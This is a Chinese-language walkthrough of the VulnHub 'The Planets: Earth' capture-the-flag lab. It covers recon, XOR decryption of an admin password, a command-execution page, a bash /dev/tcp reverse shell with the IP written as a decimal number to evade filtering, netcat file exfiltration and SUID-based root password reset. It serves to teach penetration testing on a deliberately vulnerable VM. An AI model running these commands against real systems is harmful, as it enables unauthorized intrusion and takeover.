VulnHub | The-Planets:Earth

The Planets: Earth

项目地址

http://www.vulnhub.com/entry/the-planets-earth,755/

难度:Easy

测试环境

攻击机:Kali 192.168.56.111

目标靶机:Fedora 192.168.56.110

信息收集

打开目标靶机,使用arp-scan -I eth1 -l指定网卡并扫描局域网内存活机器IP,使用nmap扫描开启了什么端口,然后使用-sV参数查看开放端口的详细信息,这里扫描出目标开启了22,80,443端口。

1

2

3

访问网页,80和443端口都显示400访问错误,查看证书发现earth.local域名。

4

5

使用ssl-scan工具收集证书信息sslscan --show-certificate -4 192.168.56.110,扫描完后发现总共有earth.localterratest.earth.local两个域名,将其加入/etc/hosts文件中

6

7

再次访问显示连接正常,使用dirb工具遍历目录,我四个网址都扫描了一次,因为怕靶机配置虚拟主机,前三个扫描到有个admin后台登陆页面,尝试万能密码不行,而且源码中也没有隐藏信息提示。在扫描https://terratest.earth.local/的时候发现该网站下有robots.txt文件

![8]https://img.freeaes.com/images/2021/12/10/Planets-Earth-8.png

访问发现其有一个特殊文件testingnotes.*,我一开始以为是个网页脚本语言文件,测试了好几种都不成功,后来发现是个txt文件(后来看别的大佬写的wp也可以写个py脚本,就不用一个一个手动测试了)。使用谷歌翻译了一下,大概意思就是说使用XOR(异或运算)算法加密传输的信息(也就是主页下的那些原始码)。testdata.txt是加密用的密钥(这个文件内容就是个介绍地球的文本,所以密钥应该就是它本身),terra是管理员账户(用于登录刚刚找到的admin登录页面)。

9

10

写个小脚本解密,先将密钥转化成hex,然后和密文进行xor运算,最后将得到的结果转为str得到原文,因为原文有很多重复的,只需要截取一段就行了earthclimatechangebad4humans

import binascii

def str_to_hexStr(string):
    str_bin = string.encode('utf-8')
    return binascii.hexlify(str_bin).decode('utf-8')
    
data = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"

key="According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."

str_bin = key.encode('utf-8')
aa=binascii.hexlify(str_bin).decode('utf-8')
bb=hex(int(data,16) ^ int(aa,16))
print(bytes.fromhex(bb[2:]).decode('utf-8'))
# 执行后得到earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat

使用账号密码terra/earthclimatechangebad4humans登录,得到一个命令执行页面

11

漏洞利用

在网页敲命令终究不太爽,还是要反弹shell。but过,在反弹shell的时候提示禁止远程连接,但是测试了一下发现连自己本机都不能连接,所以应该不是防火墙限制,只是过滤了IP而已,不过Linux有个很好的地方,就是可以用完整的十进制来表示IP,随便找个IP转十进制的网站转一转

12

13

先在攻击机开一个监听端口等靶机反弹nc -lvvp,然后再使用命令执行漏洞执行bash -i >& /dev/tcp/3232249967/8848 0>&1命令反弹到本地,在earth_web目录下找到一个flaguser_flag.txt

14

15

权限提升

在逛了一圈var路径下的文件后要么找不到有什么有用的信息,要么权限不够,考虑一下提权。先搜索一下系统内有suid权限的文件find / -perm -04000 2>/dev/null。其中有个不寻常的文件reset_root,直接运行会报错,提示触发器不存在

16

分析一下,先将文件传到kali上,现在kali机上执行nc -lvnp 8888 > reset_root监听8888端口用于接收文件,然后在靶机上执行nc -w 3 192.168.56.111 8888 < /usr/bin/reset_root将文件传到kali。

17

在kali上使用strace命令跟踪reset_root,-f-F表示同时跟踪fork和vfork出来的进程,可以看到,它在输出完第一段话后开始尝试访问图中这三个文件,但是提示文件不存在

18

所以我们可以在目标机器上尝试创建文件,刚好两个目录下也有写入权限,新建三个文件,然后再次尝试执行reset_root,没有报错并且提示root用户密码已经重置为Earth,使用su命令切换到root用户,可以正常登录,在root目录下找到第二个flagroot_flag.txt

19

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值